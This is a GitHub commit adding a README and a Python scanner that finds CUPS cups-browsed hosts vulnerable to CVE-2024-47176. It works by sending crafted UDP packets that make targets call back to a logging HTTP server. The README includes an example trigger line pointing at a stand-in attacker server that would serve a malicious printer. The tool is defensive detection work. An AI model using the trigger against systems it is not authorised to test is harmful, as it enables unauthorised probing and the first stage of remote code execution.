Skip to content

Commit

Permalink
Add files via upload
Browse files Browse the repository at this point in the history
  • Loading branch information
AxthonyV authored Oct 7, 2024
1 parent 1fa87c2 commit 66caea5
Show file tree
Hide file tree
Showing 2 changed files with 261 additions and 0 deletions.
77 changes: 77 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,77 @@
# Quick Start
Example usage: `python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.1:1337`

# CVE-2024-47176 Vulnerability Scanner (cups-browsed)

## What is CUPS And Why Does It Matter?
CUPS (Common Unix Printing System) is an open-source framework for managing and controlling printers on UNIX and UNIX-like systems.
It is one of the most used widely-used libraries for printing and is supported by UNIX, Linux, and some Apple devices.

Several critical vulnerabilities were found in CUPS, which when chained together, can lead to remote code execution.
The CVEs in question are CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177.

The vulnerabilities allow a remote attacker to add or re-configure network printers in such a way that they will execute arbitrary code when users try to print from them.

# Scanning for Vulnerable CUPS Systems
## A Quick Overview of CVE-2024-47176
The first vulnerability in the chain, CVE-2024-47176, is a flaw in the cups-browsed daemon.

The vulnerability arises from the fact that cups-browsed binds its control port (UDP port 631) to INADDR_ANY, exposing it to the world.
Since requests are not authenticated, anyone capable of reaching the control port can instruct cups-browsed to perform printer discovered.

In cases when the port is not reachable from the internet (due to firewalls or NAT), it may still be reachable via the local network, enabling privilege escalation and lateral movement.
For this reason, I've created this scanner designed to scan your local network for vulnerable cups-browsed instances.

## How CVE-2024-47176 Scanning Works
Typically, an attacker would begin the exploitation process by sending a specially crafted request to cups-browsed on UDP port 631, causing it to reach out to a malicious URL under their control.

For example, a UDP packet containing the following: `0 3 http://<attacker_server>/printers/malicious_printer` would trigger cups-browsed to issue a HTTP request to `http://<attacker_server>/printers/malicious_printer`.

If the URL were to present as a malicious printer, it could chain the rest of the CVEs in order to gain remote code execution.

Using this mechanism, we can trigger a vulnerable cups-browsed instance to issue a HTTP request (callback) to our own server, identifying itself as vulnerable.

The scanning process is as follows:
1. Set up a basic HTTP server (no need to identify as a printer, since we will not be exploiting the RCE vulnerability).
2. Craft a UDP packet which will instruct cups-browsed to connect to our HTTP server.
3. Send the UDP packet to every IP in a give range on port 631.
4. Log any POST requests to the `/printers/` endpoint, which are triggered by vulnerable cups-browsed instances.

Assuming our HTTP server is hosted on `10.0.0.1:1337`, our UDP packet should look like this: `0 3 http://10.0.0.1:1337/printers/test1234`

# Automating Scans with cups_scanner.py
This python scanner handles everything for you (both the HTTP server and scanning).

The script launches a temporary HTTP server via http.server on a specified ip and port, then constructs and sends UDP packets to the every IP in the specified range.
The HTTP server will automatically capture callbacks from vulnerable cups-browsed instances and log them to disk.

User friendly logs are written `logs/cups.log` and raw HTTP requests are written to `logs/requests.log`

## command line arguments
`--target`
the CIDR(s) to scan. Can be a single CIDR or multiple CIDRs separated by commas.
`--callback` the local ip and port to host our HTTP server on (must be reachable via the target range)

## Example Usage
**Scanning CIDR `10.0.0.0/24` from ip address `10.0.0.1`, hosting the callback server on `1337`:**
`python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.1:1337`

**Scanning multiple CIDRs from ip address `10.0.0.1`, hosting the callback server on `1337`:**
`python3 cups_scanner.py --targets 10.0.0.0/24,10.0.1.0/24 --callback 10.0.0.1:1337`

note: the callback server IP must belong to the scanning host, and the port must be reachable from every target IPs.

## Example Output
```bash
<root@axthony> python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.0.1:1337
[2024-10-06 21:57:09] starting callback server on 10.0.0.1:1337
[2024-10-06 21:57:14] callback server running on port 10.0.0.1:1337...
[2024-10-06 21:57:14] starting scan
[2024-10-06 21:57:14] scanning range: 10.0.0.0 - 10.0.0.255
[2024-10-06 21:57:14] scan done, use CTRL + C to callback stop server
[2024-10-06 21:57:14] received callback from vulnerable device: 10.0.0.22 - CUPS/2.4.10 (Linux 5.10.0-kali7-amd64; x86_64) IPP/2.0
[2024-10-06 21:57:14] received callback from vulnerable device: 10.0.0.25 - CUPS/2.4.10 (Linux 5.10.0-kali7-amd64; x86_64) IPP/2.0
[2024-10-06 21:57:17] shutting down server and exiting...
```

for more info see: [Official CUPS Vulnerability Write Up](https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/)
184 changes: 184 additions & 0 deletions cups_scanner.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,184 @@
#!/usr/bin/env python3
import socket
import ipaddress
import argparse
import threading
import time
import signal
import sys
import os
from http.server import BaseHTTPRequestHandler, HTTPServer


# a simple function to enable easy changing of the timestamp format
def timestamp():
return time.strftime("%Y-%m-%d %H:%M:%S")


# custom class for handling HTTP requests from cups-browsed instances
class CupsCallbackRequest(BaseHTTPRequestHandler):
# replace default access log behavior (logging to stderr) with logging to access.log
# log format is: {date} - {client ip} - {first line of HTTP request} {HTTP response code} {client useragent}
def log_message(self, _format, *_args):
log_line = f'[{timestamp()}] {self.address_string()} - {_format % _args} ' \
f'{self.headers["User-Agent"]}\n'
self.server.access_log.write(log_line)
self.server.access_log.flush()

# log raw requests from cups-browsed instances including POST data
def log_raw_request(self):
# rebuild the raw HTTP request and log it to requests.log for debugging purposes
raw_request = f'[{timestamp()}]\n'
raw_request += f'{self.requestline}\r\n'
raw_request += ''.join(f"{key}: {value}\r\n" for key, value in self.headers.items())

content_length = int(self.headers.get('Content-Length', 0))
if content_length > 0:
raw_body = self.rfile.read(content_length)
self.server.request_log.write(raw_request.encode('utf-8') + b'\r\n' + raw_body + b'\r\n\r\n')
else:
self.server.request_log.write(raw_request.encode('utf-8'))

self.server.request_log.flush()

# response to all requests with a static response explaining that this server is performing a vulnerability scan
# this is not required, but helps anyone inspecting network traffic understand the purpose of this server
def send_static_response(self):
self.send_response(200, 'OK')
self.send_header('Content-Type', 'text/plain')
self.end_headers()
self.wfile.write(b'This is a benign server used for testing cups-browsed vulnerability CVE-2024-47176')

# handle GET requests (we don't need to but returning our default response helps anyone investigating the server)
def do_GET(self):
self.send_static_response()

# handle POST requests, cups-browsed instances should send post requests to /printers/ and /printers/<callback_url>
def do_POST(self):
# we'll just grab all requests starting with /printers/ to make sure we don't miss anything
# some systems will check /printers/ first and won't proceed to the full callback url if response is invalid
if self.path.startswith('/printers/'):
ip, port = self.client_address

# log the cups-browsed request to cups.log and requests.logs and output to console
print(f'[{timestamp()}] received callback from vulnerable device: {ip} - {self.headers["User-Agent"]}')
self.server.cups_log.write(f'[{timestamp()}] {ip}:{port} - {self.headers["User-Agent"]} - {self.path}\n')
self.server.cups_log.flush()
self.log_raw_request()

self.send_static_response()


# custom class for adding file logging capabilities to the HTTPServer class
class CupsCallbackHTTPServer(HTTPServer):
def __init__(self, server_address, handler_class, log_dir='logs'):
super().__init__(server_address, handler_class)
# create 'logs' directory if it doesn't already exist
log_dir = 'logs'
if not os.path.exists(log_dir):
os.makedirs(log_dir)

# create three separate log files for easy debugging and analysis
# access.log - any web requests
# cups.log - ip, port, useragent, and request URL for any request sent to CUPS endpoint
# requests.log - raw HTTP headers and POST data for any requests sent to the CUPS endpoint (for debugging)
self.access_log = open(f'{log_dir}/access.log', 'a')
self.request_log = open(f'{log_dir}/requests.log', 'ab')
self.cups_log = open(f'{log_dir}/cups.log', 'a')

def shutdown(self):
# close all log files on shutdown before shutting down
self.access_log.close()
self.request_log.close()
self.cups_log.close()
super().shutdown()


# start the callback server to so we can receive callbacks from vulnerable cups-browsed instances
def start_server(callback_server):
host, port = callback_server.split(':')
port = int(port)

if port < 1 or port > 65535:
raise RuntimeError(f'invalid callback server port: {port}')

server_address = (host, port)
_httpd = CupsCallbackHTTPServer(server_address, CupsCallbackRequest)
print(f'[{timestamp()}] callback server running on port {host}:{port}...')

# start the HTTP server in a separate thread to avoid blocking the main thread
server_thread = threading.Thread(target=_httpd.serve_forever)
server_thread.daemon = True
server_thread.start()

return _httpd


def scan_range(ip_range, callback_server):
# the vulnerability allows us to add an arbitrary printer by sending command: 0, type: 3 over UDP port 631
# we can set the printer to any http server as long as the path starts with /printers/ or /classes/
# we'll use http://host:port/printers/cups_vulnerability_scan as our printer endpoint
udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udp_callback = f'0 3 http://{callback_server}/printers/cups_vulnerability_scan'.encode('utf-8')

# expand the CIDR notation into a list of IP addresses
ip_range = list(ipaddress.ip_network(ip_range))

if len(ip_range) < 1:
raise RuntimeError("error: invalid ip range")

print(f'[{timestamp()}] scanning range: {ip_range[0]} - {ip_range[-1]}')

# send the CUPS command to each IP on port 631 to trigger a callback to our callback server
for ip in ip_range:
ip = str(ip)
udp_socket.sendto(udp_callback, (ip, 631))


# handle CTRL + C abort
def signal_handler(_signal, _frame, _httpd):
print(f'[{timestamp()}] shutting down server and exiting...')
_httpd.shutdown()
sys.exit(0)


if __name__ == '__main__':
parser = argparse.ArgumentParser(
prog='python3 scanner.py',
description='Uses the callback mechanism of CVE-2024-47176 to identify vulnerable cups-browsed instances',
usage='python3 scanner.py --targets 192.168.0.0/24 --callback 192.168.0.1:1337'
)

parser.add_argument('--callback', required=True, dest='callback_server',
help='the host:port to host the callback server on (must be reachable from target network) '
'example: --callback 192.168.0.1:1337')

parser.add_argument('--targets', required=True, dest='target_ranges',
help='a comma separated list of ranges '
'example: --targets 192.168.0.0/24,10.0.0.0/8')

args = parser.parse_args()

try:
# start the HTTP server to captures cups-browsed callbacks
print(f'[{timestamp()}] starting callback server on {args.callback_server}')
httpd = start_server(args.callback_server)

# register sigint handler to capture CTRL + C
signal.signal(signal.SIGINT, lambda _signal_handler, frame: signal_handler(signal, frame, httpd))

# split the ranges up by comma and initiate a scan for each range
targets = args.target_ranges.split(',')
print(f'[{timestamp()}] starting scan')
for target in targets:
scan_range(target, args.callback_server)

print(f'[{timestamp()}] scan done, use CTRL + C to callback stop server')

# loop until user uses CTRL + C to stop server
while True:
time.sleep(1)

except RuntimeError as e:
print(e)

0 comments on commit 66caea5

Please sign in to comment.